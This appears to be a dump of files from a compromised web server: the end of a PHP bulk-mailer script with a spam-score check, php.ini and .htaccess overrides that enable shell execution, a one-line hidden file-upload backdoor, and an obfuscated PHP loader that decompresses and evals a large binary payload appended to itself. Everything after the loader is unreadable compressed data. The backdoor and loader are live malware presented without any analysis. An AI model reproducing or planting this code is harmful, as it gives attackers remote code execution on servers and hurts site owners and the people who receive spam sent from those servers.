        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$qVRA='file'.'_get'.'_content'.'s';$jbhN='gzunco'.'mpress';$UJdj='subst'.'r';$tsYb='e'.'xit';$ErOf='s'.'tr'.'_replac'.'e';eval($jbhN($ErOf('zhwmjnkeia','>',$ErOf('fdeuqpyhon','<',$UJdj($qVRA( __FILE__ ),-217328)))));$tsYb(0);
?>
x]航i&ttHzhwmjnkeia@A`lnv`&ṁ\A3kU7j9g
 Ŀo?__?
ǿo"nk=|^94fdeuqpyhon_ǿ_Ϳ!?~ob}ԗ\~Bf߷}]=?_rVz	mCog|WE=~e"ԃ]=:L~?yqbw)ɼrtj~zhwmjnkeia_KO{NscfX|}cD)yD_OxzoEyϩȖ'_N2{d=qr?zhwmjnkeiasoꛏ|TlPZ{@8*ZU'iB/2qwyʩ?qbh)g0zhwmjnkeiaq58xbI@/bRz"]LqLD.ھK*#??u酋3.2}n~:]y{ʤnp 5"=qZ8~}~89ufdeuqpyhonNn)	xqbWu
~Vzhwmjnkeia̕9R{\d7r#
V-YgzhwmjnkeiacT&E8Rm]8?E?.Zc{DCsC;"U8ss2\;9??q
=U/8g~|:LctӉ0m,?z~9$qCǕb\֯y*r)ŏ_5f3msbsߓyXr|v0~3(^{g{kkmvfdeuqpyhon?)]6-9lۋtH/EZJc1o"%fdeuqpyhonyY'mǬ.DpOk\wfdeuqpyhon~wfNͯg6撔X;oN+?i+#|Ɍ.
VSnZY=`̍v0myN7[Y
zc	SvL?OSKζ?fdeuqpyhon}o~qfdeuqpyhonUf~h4ḉ?;danbAZ,~JY~?cVfdeuqpyhon)ѫ2nC_@_K)	1:~x@Ih׺öH?𥎇Y&r	j6g$
UK%24j~|zs:	zhwmjnkeiaGt哗XH:2Q]DTTc)(#̧XaQ7Gzhwmjnkeia?3l:fdeuqpyhon_1Sq@b;zhwmjnkeiasX}9LCUSxꃦRS]a%uaL+dEFzMʴ#Q$'%7:mhcv|8t	l}+2zhwmjnkeiaA`S`ÀjNVYG'Zmrg}uO"s"?/xuiF{هe`-Ƚ_MB!swpg'Nۿ.0N#+"hdF&a-yo{1zSl_h5\D_{M.˳3~'ofdeuqpyhonrU_oCsC+i&ۢEMm%*|VPC2J4=F,G[|irqP)?
ȵ^FݯKdĬl{g|7tß{=u=?`~@[Ko-I䔵t)W~P[_fڎS~I)a6`o6*bߟqmjOzhwmjnkeia~B7GsL0?'p'`=96T!KEB|!aAyCQ,7YDgƚ)iQ`3	G/ufdeuqpyhon:tsrfb+Br¢X1%+~0c]vcZ;7`9gT//K
W,PGzhwmjnkeia:tzD{K,fBfdeuqpyhon	fdeuqpyhontzBٿR ˋ)VeJzK̍3.CRET L
dgoaVS,E1
т:4ڥxt:k
piGMG]f_\qzy4AĻ2ejy*4.
}֗"JD-Ceb!oafdeuqpyhon
}7[oN`d6_~:[odWڨSHs
3Yѻ)V#AIqMSX?G=gJ{	Mzhwmjnkeia8fdeuqpyhonR]__GG3˴PNzHS|
K.+NՍɰU:ah)l@)Acx\k*"tZL#o͙nzhwmjnkeia"X8R'ӇD;E-@_*DO"9GG)hRfZD;mp*1T#v"cy)DL퓽 N R_| fdeuqpyhonײ'=Rgl7zAotDcDX&Y].r铉1:]̚ĝ
9`!%F{PS[P k1IBόI;LZefdeuqpyhonfdeuqpyhontVꛜǧXUt
!eh2-$FףSt'TZ3`ҰH`g\4tYi329E2!fdeuqpyhon+|[Ki-S(*rg{aY{hKCAtsQ/Xzyem1eU`'FG/)
y^fdeuqpyhonɘ-W14%:w0o#AHzʹ}}c~J3ǀ *s{HBA|;tm~rx/f|HQ70~
,iehr\jTb"ҝZ+gfdeuqpyhonپ;&[7Zv|mw.+N^bJSo~BUv`U˾
lUY3ZDɋL&kW?fJޑwMS
Be%^F֕,w0%HKcGB+
͖Qd=yZSY/Lhcw-C
 Wb;Ȍn	!xfdeuqpyhonj11,mq5=x5ЏEM7T_/1%j:̜Fa-}W1&Hzex/m|4?_@uoOŪTE\HC"?dH-..;fs  Qu*))FQ?Z/Q}*ch?]_IQb'HRR,w%m_9EםrG2uY1ts2e.ʞ5X AxD26,S-
^ \d*Sʎ߸5EbOPz5*e-
 θ+W\RGbα.adǋo q_ǩ;Ԝr琺?"%Au
٤Tۥ5r	o|Fzٱ
!Nf~P
2$+bL_L(.eS:H$HXo䕃Ar]q6yMaߔJ⾁o\v7Ǔ	yJVT|-bzwאKq{
[;O0͌_4Fp+!dRzhwmjnkeias{Q,}c ].@]wM=dqr~Ozhwmjnkeia`kKHOV]8zqBxmKfdeuqpyhonh0[d/bلkK!:-n8Ⱦ_[o5ţdUN'zhwmjnkeia]ie1"rRGGmIzhwmjnkeiaY:E-d)9arfГXg_1m1*}_Wq	d,̷[y|:cw"ے{X%e^E\A	ٱ'ۺCXCa-5@n&fdeuqpyhonTPSB?)ޣ(j߄^O6piF`i[J}
(+}an/߷|JŢ{Hg$I^)	%5pXX[vrQهK\PZ94+){zB흉v7
w#Vs^FN⹰;܊HCX-Ԇ
=p^Cf׆/v-ܠ`9@ a2zhwmjnkeiaWɬY˗(S'yDt
k󨋫hoIU(	u?}HLUisbxIC[bI*EsD=fdeuqpyhon
#	9*S.Ue,mP/H0/N|{a϶|Vfdeuqpyhon=c}|l^Xl}Y}Պqn+^ЙOxy.Y9U
˔.?l3:PߥsۮznRQ_i}yzyV[l`;=Z喪-g\`e3'25әwGG५rFG/5L#gx@?wdOLP}hJ萊Z$6?ĨuF
CPo@'ˌ@4Ȇj^]K?{[pxN9̉v'dA؋A7s|fbqJ6y7VBS"Q)fdeuqpyhonfdeuqpyhon1UBw83F:oȇ(Q!29v,πo\EJoGl)g.ZUY6;0Oס+2,y&}09|Q!\WfVV#9`_9?M/wQp3'nYm8zhwmjnkeiamfa1:Qzhwmjnkeia*r!hk)m{`&#$sK4/ zhwmjnkeiadȌz.:@M6dPg7.ݷZ )IŬ6U[3)0c,WѤxn.0ff7FkQiaß?$F~r}.0'
;U|Wŧ&*cv{^Q2/-
2]7{'7ַk_04zhwmjnkeia7KKݘ`fX̙8О@}jX`Mӕbtm?
!t^ȃc;7B%i
*6C v}FX^+ja#	KqcsDzy7{޹W7ț(PAN.v^*zhwmjnkeiaWŏ0.JB20`}Ȋ˰]oyޠg;U

^ڸg˼ICasәht~֑1\v	8hNTɕ9[)
&)1	0
?[ 7 "p@$rttB~d1@,(5@{le`N,qvr'zhwmjnkeia!h2SU
~hA+艷N{1W(:|Zzu[/M&|Dzhwmjnkeia!qLpslJnAVuGbI[挚
p5}GT}ޟ&]/U8?Ƽwꃗ/l0JUdxfdeuqpyhon_,C +ޫߞ:idkY.X$||a3¬^0X#uϽkۏ -we,u5ɔ*2\75fdeuqpyhonYp$[fdeuqpyhonm+
?o-Y2̃SP ?
xj5xƀtVבU`2 p?hSH	ZhCrfdeuqpyhon[&Q{zhwmjnkeiaIRfdeuqpyhonEgkV 8""Tpn8WZ漂L,hC393fzhwmjnkeiaJqb2fdeuqpyhondҰdDnvwORgԑI|ݿY玜@1fdeuqpyhonTw0HđpZ~8AZPG!)
fdeuqpyhon2wz

:wlWUzhwmjnkeia5j4+ھuX	kK]!=ԐߤWbaiw2^pc:zhwmjnkeial4Bz4`3^
 "U4]No 'ԋH3
x砯EW}g|hŬ(%P2.hc_y3urQł

=F5zhwmjnkeiad']Cx7nOX+K'k;ItCF%-diW^B+cr:;͢ YW[|Ur]9crgbD̑Ә.-eTܸǈ;yGϏ]Bյ^d[;*n0&jbԳL}\8c:cL[C\(*:rVWP3QH.|5tv-nr Ȟ_.FO#Uʼ.I,Lh&iy3v"Z9r#C)P_@V$'&!A_@:kyc0ڨ =Ꙡ17(:畏vpQLJl'gӇ_Mus~H͎ /vwy	La	9ڝ;^\~i\X=s]Yv蕪kPA	fxz1"'kqB.Hԟzhwmjnkeiazhwmjnkeia'DI2j}T9t`:W30$aȚw`zhwmjnkeiaR_zq1P9Z Nzhwmjnkeia鹪J*J+M#\xrL.zhwmjnkeiaet*3bhᵿ+c8W[EK;G!Sv$;erSHlfdeuqpyhon苉уsĝ{	߼a0/Rzhwmjnkeia[̅l]k75]:ӏ֝Pb\zzhwmjnkeia"W*$&%XmB{7wiS{@݈=z?zhwmjnkeiaV0^{ސK%^'c}^D/b=p'zh2Te yI%ru#kl7vw}.0IYY}椓a?oⵈ}uٕhJY	~1;{Y!Ci7bEЇ
lZE5f˂|` /p*,g,	cP3qM L@=w%d#
{vU'7n3g/ӏV5Z`kR(X&\$kgs
;fdeuqpyhonnRջ׶T=trtfdeuqpyhonʱr0{:Bve
@Q9[૔'p	FzhwmjnkeiatjN8}29o"R{j8KwQ6J{1VV8YRԒ;BhA7u끏fgN@@`$)"dap3A,]mل}dyzr?t:/)bBMƟʹ]~nQl3gdj'2S˫aMZN,zBeZ}PoZ)e{A*wsaF/zhwmjnkeia1ﲛ?	G:E
~lY~xo"[gJAK+pXUxĶ2!?B	vEr{yѾ4w'3.3uo^{	Gim
U۾%V[ ?zYA}s9!KEJ_+RWN'*BrzhwmjnkeiaANLV~vo=Hlfdeuqpyhon[M,TpfdeuqpyhonqH!zy"';Uefdeuqpyhon?d?h߉zhwmjnkeia;kXVfdeuqpyhonЯ[_ss?x51dNkA靄4"}m[}|zfdeuqpyhonG
E`yB߈?N:2AL3@[ldҾ-tNVt+td8v/fdeuqpyhong15p;uByÌfdeuqpyhon=U|dq(zhwmjnkeia3O`o;Y`ѥ-0$| ^jD u+suieyV}z+ױn8dudOmO)^z
fdeuqpyhon'dfߜҕNlsd%-s4f@4Q7xG'-\hA;FxzX+ZrŁg1k8)0aOlMߓq^B5w,YZ_'^/H fxJȁD̓sQ],wS3`CRtx=ר3O~atnk@F;cO];;۽"rtGA
(L~LX /
4*ZOۧZ̸!OH媿Z}͔fSZLVduŷL,C]Џg'&{Xh[fJwwA)xQh-v O
%
𧗑|"}{c	5O/eGG9F/3Ň█gKĒȰ_h|=
zhwmjnkeia㌸"u[B
9@s
dzuyy?ßGf|άy*`
J;`SUjCPWO֛E62	I:u'Ŷ
}]|&|1	cJfdeuqpyhonv AN|G0O՘,o#kv:ta~8rm$CY#aM;;X:SM3K!c.?`HvlJKIW&:
6m"?	WYߑ\:1h뢵xVfdeuqpyhonՕ^'9֐fdeuqpyhonAox(tfjK23g99Ǌ,wGg1vW&EzA	*9}p^	D gpP^^knc5Ye3@:.Ϩ	U{TMنcVʘZ7+Cl:"4L}=YV#HaQz!9}DwOi;vhSS?(|Ozhwmjnkeia9S
Y/^ww;l{[*ӥr\2wl`Is
`kl
_OwwNDaHgBJe1ъ)_뒇's¼&E0hZy,ma) RQ$9XZ/$IA?@oYt4#%kS	9;$xVxs.ter~?4wEt80)mV
OPal{`'.tw8%om.O|DhNs6z㖙Ok3ʨ|\yJ/PM=Y'Pjr=#bHTwEy|P|D}ݻ^,O.$T}?KHW*jz fdeuqpyhong%9T~"ﲊƼTyT0Le䢓)yQӝ'2?&JqDiOJoOz `ǘk6VpW(=HS
Y~6@IS5QF#g}-A69fub(bVD1415ы%.0gNTOiʧ|-	fdeuqpyhon+٧FPY=ZȾn(YUaUTJ)cFe,+A)^c:4Xm:ø2_.(A8o[o'ޮeg}P^:ͻљj`;+ȗ]/XGYbwyBdYAbM/R`{b$K-j5u-!^NdK6)c-}' %B.WGnm-٩o@Yט5m3֠ۺ~i^h+%P8NmV#
v_ϊ	nGEζuu1%P;vvauCz;/kзKfA:#:3?1rAm'giy Oszlkj7r.ڞa|CP:{g=fp'O| ''^hOo`T&#?0ϹS|~[.G
6V!\ "2@ͩdE4:2`pk,Ao3eGx֔kvt6A?f2{ɦtpTfSQ㵄|nXDV3*~%1d ~ɩzhwmjnkeia+_7.yf4N+y"G@1
hAzƆ[S"F𙟥2'?(fdeuqpyhon]d},azYu_%"dsl觾jRIVPyovmм	ԔLfdeuqpyhon/GڃC~7O^+zzhwmjnkeiaPC^ k`LVpF!4	Sb
zhwmjnkeia=K̲rt Nl-hH6V.H ILYG0/W_$#옷]t	tBBG0OdF]e X/?|KpNzhwmjnkeiaUNYh3s=sfdeuqpyhonZ4x}fOn_M$
j0^~&=ZZL\ڳ62'%1 vŁU$G`p`Mc˗%΁W@d7I5Z5Owu	B|y!qY,c~o݃=]̧k0w.hEh",.pDM=c6|tJ~3wo$
2C]zhwmjnkeia[ZےEVMXoRB3J}27瓕L*覷0ڜ)|Kfdeuqpyhon
rR"*@BٿޣSuC7%ci̔`2ҊEMKaݿC29}\\l(miv&F01E'
z_L=zhwmjnkeiaÀ'kBځ2!|{(m=l`.!sWWҩ0dP/ٞ吗lS8uy
:3ڐo}Zk"oy&CCI3Ѭ@}b)fdeuqpyhonXzFc"wƶ!o2Kur[F!hBS_#0*0x
):ozhwmjnkeiad"`p1v//$pcXOӫG90%yB&/fdeuqpyhons^L.@. 78u^OzpM +F||'űD3Em4[=qV]*sh_]RfdeuqpyhonL8Uݐzhwmjnkeiaiƫ.N:M'~g+gy/G,u$}Zfdeuqpyhon![G/).uoԐ1`n/uY䪑&g{+rЇYzPM)M2=Z#|L%"?7l]GU܆m0fvP 5ݫ3	V֞|%Jzhwmjnkeiat o0vo\2,eWfAN1#Trqa]z-#%rzhwmjnkeiaHhx!{ǬEfdeuqpyhonB?hDy;zhwmjnkeiaazhwmjnkeiahS R+0\@{%x@dhPj/8}T]1=:WNNpGG䃅9Iy	+ȪO[BOG^,,1'ii҆|ɢ;7t	{ο_=?Oocg'2fdeuqpyhonk	M!YJd]6~P~l"ߐ{37i^사JeV'=+"oG#]GZhpZ}5W4H5D-ەt(鉷!`m&']'q)}w}zT\ݯ&uUmVy [D9svXz{	PM	ZCc+T;KȅPd㢢_d3#9A(+lT5'{dG_ 3Ջ5浶%f|D^ѕvֽLbt"b)|@'n7Z!fdeuqpyhon$83ӡL=$GkzhwmjnkeiaU|syLf]Tw\ںxfdeuqpyhonMʒKoa9i^UnbzX u=*A?Ohboyfv#J"~ڧ.OfdeuqpyhonlfdeuqpyhonfA〚eA:ȒvZ,P~3m%dziV:}͚Y[^A[]|ߺocXc`82tn/X1w'A'bd7y%&"T_KvHbgT|DڐaHAߩ2=DËLoVZ	zhwmjnkeiaLS~[pzhwmjnkeia=ޥh:H(_E\'W|dӳD8)QTCl6MT\@%xfdeuqpyhonԵl|j6N(*+^W:RCMQ$ÁL 4+#to6p~ mj6ǑD_ZB5 i5Qcz89kGWX+հfdeuqpyhonS~~mk^@JIst:?e#ϾQ*w/Q_-md+˿\lio#cE_AVŽϧׯD%RLry_pUGlOnZl^f#ah~eI?dhfObzhwmjnkeiad5+Ks`oz6
k2@֌40nstGVB#WdgC*1;o?zhwmjnkeia*k'x@sZL Z-W3G4]my}-RHoFuuE˓%?GDq:VA		GP8~Y{KN|vgiDS
ax+nI{U
^	SЁjW}!t_hFXfdeuqpyhonкfdeuqpyhon5z+}ob"i;BNm^^9YKۥ-~zB"Avz-n*YFc̂=h^uzhwmjnkeia}R| ʋm߇ 5I7OX˟&Ou#p^p_sc4	gv]DpLǬ|2Nx^cw!vONY|ۮ	)QފFdhί FufdeuqpyhonULƵzoB)st`
_r7SwP0MCSgCfQO7[Dc1j=(H%s֠bEZ3ZWtWS+ͳaks_)vK=m=sm֓XPfUڊDJ|S8zg_~9_KPY/N"G5eRgC}_\k )*_zhwmjnkeia?,g1ܶ6,BbguqO#d1bEI-Ξ.atsb 3G7{̳i({Ny
ܽ"ƜvrI:;IFC.w
З3Y_fUs8[b}o{zhwmjnkeiaHYj\&ʝo"Qۏ+ǜnO3֘WӔٱ֤R]D~ͪ{u.\y7XmT\/Ƀ9QxΝP3Rh|1[,ALNQg4"Y-J_3zhwmjnkeiae:+\"3pY̬ӻSwzhwmjnkeiaIY#O&Wţ\-&#}V	CN:H&aǫEMIzhwmjnkeiaS9ƝzhwmjnkeiaL-`uBBwfdeuqpyhon xj\n,́ mOSǲ)j8vv.Kc3yJPnw
hF;R]Q\(5cXA|'z	W3xك39d)*fdeuqpyhon?vC!sA-4T#fdeuqpyhon\DWAOҜ}vJ.w~Wl/ŽoȄ!pFݑgw|ݐZT96"h,IC%hSfdeuqpyhon&h{"m\zhwmjnkeia_2~~ˉ61a
p0^ɑ1p&x;؟p(8Op\9tA'D;@msa	Dm||찯/c1mfdeuqpyhonVۺa.JG~|KKTjy[	i1B;Sș0Cu
oX4*BŕHH
Bk߇GsWyZJ^mn1_⍟$
y]ϳ|4@C=Mfcfdeuqpyhon|9:e\i:.r Fp7;#|S	UAgzP!HEșE!T`[ÍjcˬWAN
g2N#B
}y}	LY%%Cm%r}i [~U78T]Y	=VĦЩI׶2Fs	pZxVfdeuqpyhon(m§%z)P={ۤcE|	2ԱR6`o{,XP v^1+U'6҆CHzhwmjnkeiav^)j7TI~`Q3dz @m}Gekgi跹
ѐY)xAg sʊꌦ7xl
^fdeuqpyhon{ȕki[	1 C,`K".p}m2v&pwΦyȧ\tptXYF60䴺1P_=}z#©9ϝ
$½VŴͲ,ߠ5@q{AgSfdeuqpyhonWux{0{1ݮuJKȺ?zhwmjnkeiauG79*]-s3v"(n,7m˛?ZvaFY!VcKC¸ۚFɩLG|~\MȲq@lTxJ/4zhwmjnkeiaYu#P^gxՄ.3nB6fdeuqpyhon.pS:Achn^fMTW-gBzhwmjnkeiazhwmjnkeiaoկ5dJx,ˎ/t}fdeuqpyhonx1ϘDk*/fxiVht6Rgmqxyzhwmjnkeia!uy0U^B)WX0#Yfdeuqpyhonpx`kO,Ϗo8Vt0l /zhwmjnkeianq9'kAW@}jzxik9% 	j{.vնnLԏhH
9cڪ 2̗_sU}}x!/?#\ 5QEP7;
*Sm{/#	KkZɀ̷gı
M{WS]dnko/?ζzhwmjnkeiaiLI:1
iqz2ssȢw
:2D ,FSqLl9+3OX
O۾qzhwmjnkeiaFFgGAFΐqhtMfmci[As`+j:+%y
*1 rx62fٸ|mklj8WmIyP¿:zhwmjnkeiaʊXxݗ+qa@w7K{!3XuT4V8+c@TV@ը/Au8q?)DgGhm-;ݞP$c81SN0
xpc7?[{DáuhV-9I
?zhwmjnkeia_C	l'$1,=:Wǫ{?w?t̽Fd8 9ާ%1^fdeuqpyhon=dVAj(`d{Js;M/3~I ~x|Be')!̫/w!oE=ev؆,lKfdeuqpyhonQuEIBt:@
#fdeuqpyhonZIR|7Ugѳ\mΨgfѨWbK
D{?=ʏ2ͽt&S݌zG/Ì-mԪD6`kU
זYJ0ִv
:.Xԯ3+_G3dK{
yʄ1QRntO}\t(T2P)dg7ԳzhwmjnkeiaѦzhwmjnkeiaTgR`dL#n';n{^DB*kuz '2j[u܂5I
zhwmjnkeia9no|!ٝQjiP^[dSu?ʴhxGR?Xދnm/P̜p$˔N2e(n]OF@}
0ڔtۣ?H?zA|fOfdeuqpyhon:3mѥzlw' }WLN8	3909]f
4q b'sdKD!l
}-UETvuyRl	H&
;Iݯ	0ݲ`6*㶞f ޠ34%@J]~qzhwmjnkeiam@1Ø+c&@JD.E
1U(N֐+}m-
I5fm	`G\-㌠'T?KU=pbPXX&ӖfdeuqpyhonJbmTh-K+b\)zIZmgv\d˝B(}r*,̨*%27~=϶z[~kAjwK/g94H2T0ǟ-Բ%ٔs t8
J A~o{rJTĪ@9yD,"ŀY⎇U0P:/Ezhwmjnkeia˵o&UvġiY}hVzKk,t5*rO4/%%?/!#9z*
X+N@Shj}bĆΧ?gƙ=o[By-j[|G
:T
9XzhwmjnkeiaO;0.B/N`JWjzID~J54hV3&]w0vs!^嗒0GfeЄ#jKzC.]df
8"K_xWI 1V\D?^tJZzhwmjnkeiawsp'kL!IZd:?o1pCS	 A~fdeuqpyhonΛIndK43Zr?PC2rȢ^IyyRBi}Hgr`9;*CƂmkAO#z*eM$:vfdeuqpyhon#B㱒;m^ /YQV765"zk)W#aMɹÐSM7)s|L2+䯀fZ8l+)B.H"g7iX_fdeuqpyhon))
5~!ֈLbXFŭϋ_ -zhwmjnkeia+uCo~G.e`2GL^kmqrh\mC))NDzI{@ï'xgm7]'*:૑!'
m{Ve7fڥϽ#*ѳȏ|=uԿ3T{ҩ!OaR6rځ-NKyϞh|7615htW'}՗0i]v-U|2U1$	h?b-kTz'$O0S(I׎8ݼ7e4kE=CA,yA!zhwmjnkeia*&}
ίͅpwfV1j.nczhwmjnkeiaa92(臭Lӳ}$yGLMv	+\An9e~|㾚u
OΩWSb.?`͉gG!.iwO]Rv=
S\e'=A)`kfdeuqpyhonj.]ua[#`D8+ 7x&fy;考g17jfX5GeI_ Ɇ7^
NL($O4uazhwmjnkeiaP߳wF|)A\,txqȰrۋlxC/7/vln2s}XDCsvU70噅q$d%E ,`mT2l:Xqz6ٜ-Gfdeuqpyhon3Ƒ)SZ|"ȿjY`{K.Ut{
!tM0ZAr{%yJr&rMSҁ5fdeuqpyhon]ǙPcˍ/Msfkg:[-ÿJ(WF
3dØ=`zhwmjnkeiaA&q c{g.ʴ{6rz|j*[ɻx}?XwJߖ{;+ '*8'\pHjrzhwmjnkeiaYXtT`Lw
M xfdeuqpyhon~S)ԥcޯoZ#2yugȜx!9ܥ=]['к۾Eyc'X閂C-Bz^
fdeuqpyhon7e'RY O¸ԋM.0A\Oö?)wxrmw=mfdeuqpyhonlaV+
OX7vHA2Hzhwmjnkeiaㆢ!wAlu[SǠ%D5֨ˤKo,~y\LtљYKv]{"CVq!d+2kLfLv {VSۓ,j{~x}CJhX@ơX׊Da`Vg92 QOAm{ߜm(Rݐ'd'A'3D0rM}u(?svV
Jzhwmjnkeiayʤ"TݨgdiDhZqz|@.n[J9=|ΐ[|֛O^fdeuqpyhon{ņ`x:,Da鎩K{7-юαmMzuK2+WP~k]F.gNLwfdeuqpyhon=/~@1m:CqKmbi4WPsksgthzL2^'G$K=gWmű\DO~{d$S:4IojJuAOm?zhwmjnkeia2]KKA˖kBZspLve|qp逛&еZn{E.u3C*آ`5jɓ	d!Y@cJijkYXpX	f8{ЧEd#x' 2g˜iHb1GVSK֯]ߓa%.NvrF+G4qXGUSqil٧eU 6y#	2h{oژPUۚ1y2\~@P 0_-j`|vݓ&?ޡӳ#g`L}U/TD ;fdeuqpyhon19zhwmjnkeia3W.A?Jn,*|[q(Si`leuT#f(U8WPO?`,VYqkKk3PT7"9V2Ǔ*m +fdeuqpyhonYeNf
ѱ[K=	Ucm7n{,aAq3~fdeuqpyhonՊfdeuqpyhonA*]ajE+:xբrƝ1;tl|k!\)ܺ=3Eh`]!dXΟVc*ve_4)0lzr9/#-ݕ7Bgo=l]l7+jRHh2\A/ufdeuqpyhon{[okx7ki1(}(㨋ȣ~/&IzЁFqfdeuqpyhon_$2NGae'#ƷXy[݁tls#mnyXAV+E$F؎kOWFWϨJ'	=t	
tlk?
?7"0-zhwmjnkeia`{_NxhzhwmjnkeiaOr׬ɰx@?#+AL,Ո^PUse@ASȄmV7
юDWnHH:_wimb2Ғoѐv2H؅N{{W-L8PrQ4ӍG?(~]X*fdeuqpyhon5q
[sYSDǝBnk-|}Jgiq ;K8mg0w$YQHzhwmjnkeiat5B`_]XAШ㉅s~-_⣈|L A_'/N#ҞM%aهT~`:?$dhh&$zhwmjnkeiaD~h[Ub;l$.*zh&1mNU:s-MYm]o9BfX036E| QY^'!%,7R[Z!cП$_箸)9(Q%Ezhwmjnkeiav+r-_[@~|zd"z$}H}4dmzhwmjnkeia@MِIMY=2cv9:QԳM'= ǎ s
_W?R3Ɯ
zhwmjnkeiaNLFU^	&X/~~%EE+4]2(0: &^-fO]ޙSg^;YˊO"5jC op"fbY3CwzhwmjnkeiaǞW+㫿9pT=^y&Le8Z^j
{!SoK ,t 	Cz
Ңz΃" p~6L4r`%2)1y\_v-R)dFl'6EV/fdeuqpyhonn)^* S-|8n@O'aH)T0!/$jݳW3*n 8r`ltfdeuqpyhonAn#ΠiHOzN
ЫѺ?0\lqȇܠ6"TBvHYit)8nd2ğhuݳo}
snogSibwG2v|J{6ֶ(a-	BXufdeuqpyhonvҞ O-)^^)H	xfdeuqpyhon8)r2*'g& Vo{JP`; {. CМ"	~nϜ_
="WȆ@v%?b\&Towp@m'y{-cu:uSJoZ7{B0 W ϱs߉_t{
/ۚM
Tx3{g
EĨyXS0bρh4m}ƿfdeuqpyhonǿy@^uZ.#Z!/ڗtǬOHvͿ!߯wO$gΦ0ݙ)XGd_)PU@_O[zhwmjnkeiaa؍Քsg2eoFo:)29Ti\t$\ XAlkzhwmjnkeiaEi
kzhwmjnkeiazVIkA{O{/Xa䀖|G/ֶo?̒$h`}W
ش3ٔKq4!)ˬd3?~Xp'q_i;	S
uyؾSpuGO'&Dٶ[[
"fdeuqpyhonN}6plu^ooi	cU|Nysu\CS]`*0:mJEs
#
9o8]vewE:z-/	+Rܞ$dY$;@AR_|u}kg`jfdeuqpyhonyMEzhwmjnkeia`k#0Gb{mF y0.fdeuqpyhon˾r,WHzhwmjnkeiaK^bF9^
." ֳ?+"fdeuqpyhondȔ)mzGO$fbm@ɉ@4/T+vS8Nմ:qzhwmjnkeiav^BBrGa_.J zhwmjnkeiaԫ9م+hܡNwRc@(JsCdaddaà.Ɗ3Ff-YG_\nPsxvQtR$5ַ˲_ny5`ǈ3=:٣1aa^ /F	:n\2ȶI/{&LZ!{L4˓ѓ.Ckh9OWGy˂1~?\5fdeuqpyhonI\l{#
sLO4LO:P)eÌS|Q*)p_Szhwmjnkeiai+7
q?U0jyɧL	֐^!B*{ЀQmmNl`2	`/+Cr~eq1V&֝]v)hB۞,Aj̭+;J۳wWQ;Y|ms=]4ͽdUiN }&pkO$ֶ,}zhwmjnkeiaGNDt
vx-dL}N1+i(x7H*w
%h8{!ҫi,UAoY(},Yf=}S=Ye94WzhwmjnkeiaY{v&4cm#|W@f6pHM?qcdi195.r]!&_丣Ϧn2-ϐyzl?~{; )I~®]Z%fdeuqpyhontfdeuqpyhonQgѪ~A}-XSEIFNcuXyXvyH$xhPg=/ߡvx{n^d{ X-"ѩ+j%da6Ofzhwmjnkeiazhwmjnkeia6YXӉC?wkzhwmjnkeiam?_a}f[^P5*d%sQ'tI
#ԟ"/،J*?O߮qG7|	׆x=]o6?zhwmjnkeia6h/ 8ؒc
:87@zhwmjnkeia"jg~Kt!{O:EmSq!@ȪbCv6ZlrT
K+ߞ
%͙G+}	1
fGಋ7uzhwmjnkeiaҸŢi}=ut:Lzhwmjnkeia(D	8H
z poA;׼ḒAh7M=Z㎋
CZ:D3bSu㎣c'.aM?&*|oktBBU&ɂP-r9

cNxA#`)!7RfdeuqpyhonvʼXzqBȵ ~JZŒY5%꼌P`]AN@ɝs|
lOf1@iJgR2˶.[ί_Y*oN)*fKS Ȝ۳V!&fdeuqpyhonwϴC
.ׇ;"v-r{\+#h~Q@n@ǟgw vw7f}9	\4W͜ DK}$u=ˇ0vz_Itwiۓ(8ky$;}ilYzhwmjnkeia˙4^zhwmjnkeiaAD_C`T#hQ.ø|-?;fdeuqpyhon2&m^9nϑof*%ݓJfdeuqpyhonn?2fWSSG`ٶ{_Ƅ[
NY-W~e2klIeQѵ
l?ej{oF:s\b1V|U_WNoM'gA^_R] O#dq@ⷴJNbpNnq-2UZA;Cdԏ].t"fdeuqpyhon6M,ƠQE V[[6g0#k'/QH'nLlπ+aAW~⦎;߀V$ڢj^7~!YADnՋEl1!$?,p Mwͧ0R0mcaGOZc鵷1o/I _fdeuqpyhonHzfdeuqpyhonzhwmjnkeiaR-MmidgO2VR`ۃm/+hdxZIFdzJVI|vUӢ
)ŵ(\
!vڑl
}{e|*gK+e.jLkP4۞u$NlC3Ђjw*s@L7}(n{#7oW	K(aɢȚ;7XȲ
,ȇvC(xOC0zyl
2ߐ?6PfdeuqpyhonUczhwmjnkeia=}d8u1pz@tJ0ӤhXOF2
